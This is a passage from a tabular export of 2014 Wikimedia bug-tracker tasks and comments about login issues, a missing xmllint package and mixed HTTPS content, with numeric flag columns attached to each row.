+**Severity**: normal",Needs Triage,90.0,1398380460,1398601026.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-4ozjylj7gnsrzidrlua2,task_description,resolved,True,c3,1,False,False,True,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+304412,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129947 abandoned by Yuvipanda:
+Testing wikibugs
+
+https://gerrit.wikimedia.org/r/129947",,,1398601139,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+304409,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129947 had a related patch set uploaded by Yuvipanda:
+Testing wikibugs
+
+https://gerrit.wikimedia.org/r/129947",,,1398600986,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+304405,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129608 merged by Dbrant:
+Don't store user info if it was not a successful login
+
+https://gerrit.wikimedia.org/r/129608",,,1398391075,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+304399,Username in a failed login is still remembered and shown at the top of the left panel,"Change 129608 had a related patch set uploaded by Yuvipanda:
+Don't store user info if it was not a successful login
+
+https://gerrit.wikimedia.org/r/129608",,,1398381226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ozjylj7gnsrzidrlua2,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+66406,"The login form, registration form and registration captcha form are not scrollable","
+
+--------------------------
+**Version**: Android (alpha)
+**Severity**: normal",Needs Triage,90.0,1398380160,1406911836.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_description,resolved,True,c3,1,False,False,True,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+304347,"The login form, registration form and registration captcha form are not scrollable",Should be fixed in current production.,,,1406911836,,PHID-USER-pbvnfgskfwsdalhpd7np,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+304343,"The login form, registration form and registration captcha form are not scrollable","(In reply to Dan Garry from comment #3)
+> I can't reproduce this, as I can't get the pages to display enough content
+> for the content to scroll off the page.
+> 
+> Can you provide a screenshot so I can see what's happening?
+> 
+> Thanks.
+
+Use Hacker's Keyboard. There's an option in it to make it taller.
+
+https://play.google.com/store/apps/details?id=org.pocketworkstation.pckeyboard",,,1399918650,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,False,,,-60,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+304340,"The login form, registration form and registration captcha form are not scrollable","I can't reproduce this, as I can't get the pages to display enough content for the content to scroll off the page.
+
+Can you provide a screenshot so I can see what's happening?
+
+Thanks.",,,1399916762,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,True,,,-60,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+304337,"The login form, registration form and registration captcha form are not scrollable","There's something wrong in edit preview, but I don't know how to describe it. Basically the viewport doesn't shrink after IME is shown.",,,1398468354,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,False,,,-62,True,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+304332,"The login form, registration form and registration captcha form are not scrollable","When the viewport is not tall enough, some elements can't be seen.",,,1398467641,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3qm7uq6ni73lcvz4ahcz,task_subcomment,,True,c3,1,False,,,-62,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
+65826,login method not honoring when_present timeout value,"In the mediawiki_selenium gem login_page.rb line 35 is: 
+
+logout_element.when_present(10) if wait_for_logout_element
+
+---
+
+However, some tests clearly fail to honor the 10 second timeout value 
+
+https://wmf.ci.cloudbees.com/job/browsertests-en.wikipedia.beta.wmflabs.org-windows-internet_explorer_10/578/testReport/(root)/Edit/Go_to_edit_page/
+
+for example fails with 
+
+timed out after 5 seconds, waiting for {:href=>/Special:UserLogout/, :tag_name=>""a""} to become present (Watir::Wait::TimeoutError)
+
+and the gem login method is clearly being called correctly.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1397238300,1397470886.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-vvmukuprfip624x2xsc2,task_description,resolved,True,c3,1,False,False,True,-64,True,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+301784,login method not honoring when_present timeout value,"Change 125700 merged by Cmcmahon:
+Login sometimes takes more than 5 seconds to complete
+
+https://gerrit.wikimedia.org/r/125700",,,1397493335,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvmukuprfip624x2xsc2,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+301779,login method not honoring when_present timeout value,"browsertests repo is using mediawiki_selenium 0.2.12[1][2] but the code you are referring to[3] is present in version 0.2.17.
+
+Running ""bundle update"" should fix the problem[5].
+
+1: https://github.com/wikimedia/qa-browsertests/blob/master/tests/browser/Gemfile.lock#L28
+2: https://wmf.ci.cloudbees.com/job/browsertests-en.wikipedia.beta.wmflabs.org-windows-internet_explorer_10/578/console
+3: https://github.com/wikimedia/mediawiki-selenium/commit/b01819473d2ecd88a3ad21307550345c46236e71
+4: https://github.com/wikimedia/mediawiki-selenium/commit/bfcd98a861bd30f07faa0152a29d38fdf5117f6e
+5: https://gerrit.wikimedia.org/r/#/c/125700/",,,1397470886,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-vvmukuprfip624x2xsc2,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+301774,login method not honoring when_present timeout value,"Change 125700 had a related patch set uploaded by Zfilipin:
+Login sometimes takes more than 5 seconds to complete
+
+https://gerrit.wikimedia.org/r/125700",,,1397470815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvmukuprfip624x2xsc2,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+65821,login error,"I see the error reported in bug 51789.
+""No active login attempt is in progress for your session.""
+
+I was logged out reading a wikimedia page in desktop mode.
+I log in.
+I am sent to mobile version and am shown that error.
+
+The number of times I end up on mobile version is beyond a joke. I never ever ever want it. Especially when it doesnt work.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1397228460,1397668960.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-od5keszsq5rgwh2n75th,task_description,declined,True,c3,1,True,False,True,-64,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+301529,login error,Can only assume this was related to the heartbleed bug response. Please reopen if you can still replicate this.,,,1397668960,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+301525,login error,"(In reply to John Mark Vandenberg from comment #3)
+> Why unconfirming a bug?
+
+Because nobody else has seen or reproduced it.",,,1397310488,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+301521,login error,"Please do not change status fields - see https://www.mediawiki.org/wiki/Bug_management/Bugzilla_etiquette
+I marked as unconfirmed as we are currently able to replicate this and identify the problem. Back to my last question, is this still happening to you? If so are there steps you can use to reliably replicate it? Whilst it is only the MobileFrontend product it is unconfirmed. If we can replicate it and get to the bottom of it we can move it to another component and change the status there.
+
+Adding Chris Steipp who may be able to comment on whether this was a one off and how it may have effected people.
+
+PS. FYI the priority field is pretty much ignored on the MobileFrontend extension so setting it won't have any impact on planning or getting it resolved. I hadn't even noticed you'd set it so high until you just pointed it out.",,,1397266874,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+301516,login error,"Why unconfirming a bug?  If it isnt your department, it can be moved to a different component.
+
+If it was due to the operations response, this is not the first time that passwords have been reset by the WMF, and it wont be the last.  The bug exists.  It needs to be fixed so it doesnt happen next time.
+
+If you dont think it will be affecting a large number of people (do you have logs to see whether occurrence of this response has spiked?), drop the priority.",,,1397264990,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+301509,login error,"I suspect this might be a side effect of http://blog.wikimedia.org/2014/04/10/wikimedias-response-to-the-heartbleed-security-vulnerability/
+
+Is this still happening? The login code is pretty separate from mobile so it is unlikely to be a bug our end.",,,1397236462,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,True,,,-64,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,0,0
+301501,login error,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1919",,,1397228710,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-od5keszsq5rgwh2n75th,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+65756,beta login unsuccessfully contacts en.wikipedia.$channel.wmflabs.org/Special:CentralLogin,"I went to http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin and logged in.
+first it was waiting for login.wikipedia.beta.wmflabs.org
+then it indicated it was trying to locate
+http://en.wikipedia.$channel.wmflabs.org
+
+(note ""$channel"" where ""beta"" should be)
+
+and eventually failed with
+Firefox can't find the server at en.wikipedia.$channel.wmflabs.org.
+
+If I return to enbeta I am logged in despite the error, so this isn't critical.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1397097120,1397101838.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-azuqxdnchdrt3drofbpg,task_description,resolved,True,c3,1,False,False,True,-64,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,1,0,0,0
+298156,beta login unsuccessfully contacts en.wikipedia.$channel.wmflabs.org/Special:CentralLogin,"Change 125070 merged by Ori.livneh:
+beta: correct wgCanonicalServer string format
+
+https://gerrit.wikimedia.org/r/125070",,,1397100863,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azuqxdnchdrt3drofbpg,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+298151,beta login unsuccessfully contacts en.wikipedia.$channel.wmflabs.org/Special:CentralLogin,"Change 125070 had a related patch set uploaded by Ori.livneh:
+beta: correct wgCanonicalServer string format
+
+https://gerrit.wikimedia.org/r/125070",,,1397100678,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-azuqxdnchdrt3drofbpg,task_subcomment,,True,c3,1,False,,,-64,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+65012,Sign up link in login error box of test2.wikipedia.org links to en.wikipedia.org,"When I enter wrong username in https://test2.wikipedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Main+Page , I get a ""Wikipedia's signup page"" link which links to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup rather than https://test2.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page
+
+--------------------------
+**Version**: 1.23.0
+**Severity**: minor",Needs Triage,90.0,1395673140,1396622002.0,PHID-USER-b5bosdf7b7zp3vqofbug,False,,False,PHID-TASK-m6pf4leaydjdbqu2hzo5,task_description,invalid,True,c3,1,False,False,True,-67,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,0
+286845,Sign up link in login error box of test2.wikipedia.org links to en.wikipedia.org,"As per comment 1 this needs to be fixed on-wiki, hence out of scope for Bugzilla.",,,1396622002,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-m6pf4leaydjdbqu2hzo5,task_subcomment,,True,c3,1,True,,,-65,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+286838,Sign up link in login error box of test2.wikipedia.org links to en.wikipedia.org,That's due to the local message https://test2.wikipedia.org/wiki/MediaWiki:Nosuchuser,,,1395687786,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-m6pf4leaydjdbqu2hzo5,task_subcomment,,True,c3,1,True,,,-67,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+64944,xmllint program available from tools-login but not when running a job,"It seems like xmllint program is available on tools lab from the login host, but not from the job runners.
+
+Expected behaviour is that tools-login and job runners have same set of packages available.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1395449040,1398461503.0,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,False,PHID-TASK-6nbczejmvxoxyospcqnf,task_description,resolved,True,c3,1,True,False,True,-67,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+283305,xmllint program available from tools-login but not when running a job,"Change 120187 merged by coren:
+Tools: Install package libxml2-utils for xmllint
+
+https://gerrit.wikimedia.org/r/120187",,,1398458806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6nbczejmvxoxyospcqnf,task_subcomment,,True,c3,1,False,,,-62,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+283300,xmllint program available from tools-login but not when running a job,"Change 120187 had a related patch set uploaded by Tim Landscheidt:
+Tools: Install package libxml2-utils for xmllint
+
+https://gerrit.wikimedia.org/r/120187",,,1395461447,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6nbczejmvxoxyospcqnf,task_subcomment,,True,c3,1,False,,,-67,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+283294,xmllint program available from tools-login but not when running a job,"(In reply to Bawolff (Brian Wolff) from comment #0)
+> It seems like xmllint program is available on tools lab from the login host,
+> but not from the job runners.
+
+I'll submit a patch for that.
+
+> Expected behaviour is that tools-login and job runners have same set of
+> packages available.
+
+No: On Tools, we differentiate between dev_environ (stuff for interactive development) and exec_environ (stuff for bots, tools, etc.).  Bastions include both, exec nodes only the latter.
+
+At the moment, xmllint (package libxml2-utils) is a requirement in neither, but is pulled in by some other package in dev_environ.",,,1395456512,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6nbczejmvxoxyospcqnf,task_subcomment,,True,c3,1,True,,,-67,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+64488,Wikimedia blog has unsecured elements on https,"When I access the Wikimedia blog on https, I get a warning on chrome that it contains unsecured elements, which means the site isn't completely secure. They need to be found and made secure.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1394467260,1394473532.0,PHID-USER-kwx3xuj7xgppxahjkw66,False,,False,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_description,invalid,True,c3,1,False,False,True,-69,True,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+286756,Wikimedia blog has unsecured elements on https,"(In reply to Techman224 from comment #2)
+> Take a look at the pictures, looking at my console I getting,
+> 
+> The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but
+> displayed insecure content from
+> 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-
+> Diagram.png': this content should also be loaded over HTTPS.
+>  blog.wikimedia.org/:1
+> 
+> The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but
+> displayed insecure content from
+> 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-
+> Diagram.png': this content should also be loaded over HTTPS.
+>  blog.wikimedia.org/:177
+> 
+> The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but
+> displayed insecure content from
+> 'http://upload.wikimedia.org/wikipedia/commons/thumb/3/35/Information_icon.
+> svg/32px-Information_icon.svg.png': this content should also be loaded over
+> HTTPS.
+> 
+> It's the images that are causing the warnings, they should be loaded with
+> https, not http.
+
+This is like what happens when a sysop puts importScriptURI(""http://bits.wikimedia.org/..."") in MediaWiki:Common.js. There's nothing that can be done from developer or sysadmin side. Ask blog post writers to fix them.",,,1394473532,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-sbmvedm4s6trh4ryxt4a,task_subcomment,,True,c3,1,False,,,-69,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+286750,Wikimedia blog has unsecured elements on https,"Take a look at the pictures, looking at my console I getting,
+
+The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but displayed insecure content from 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-Diagram.png': this content should also be loaded over HTTPS.
+ blog.wikimedia.org/:1
+
+The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but displayed insecure content from 'http://upload.wikimedia.org/wikipedia/commons/7/7d/ULS-WebFonts-Workflow-Diagram.png': this content should also be loaded over HTTPS.
+ blog.wikimedia.org/:177
+
+The page at 'https://blog.wikimedia.org/' was loaded over HTTPS, but displayed insecure content from 'http://upload.wikimedia.org/wikipedia/commons/thumb/3/35/Information_icon.svg/32px-Information_icon.svg.png': this content should also be loaded over HTTPS.
+
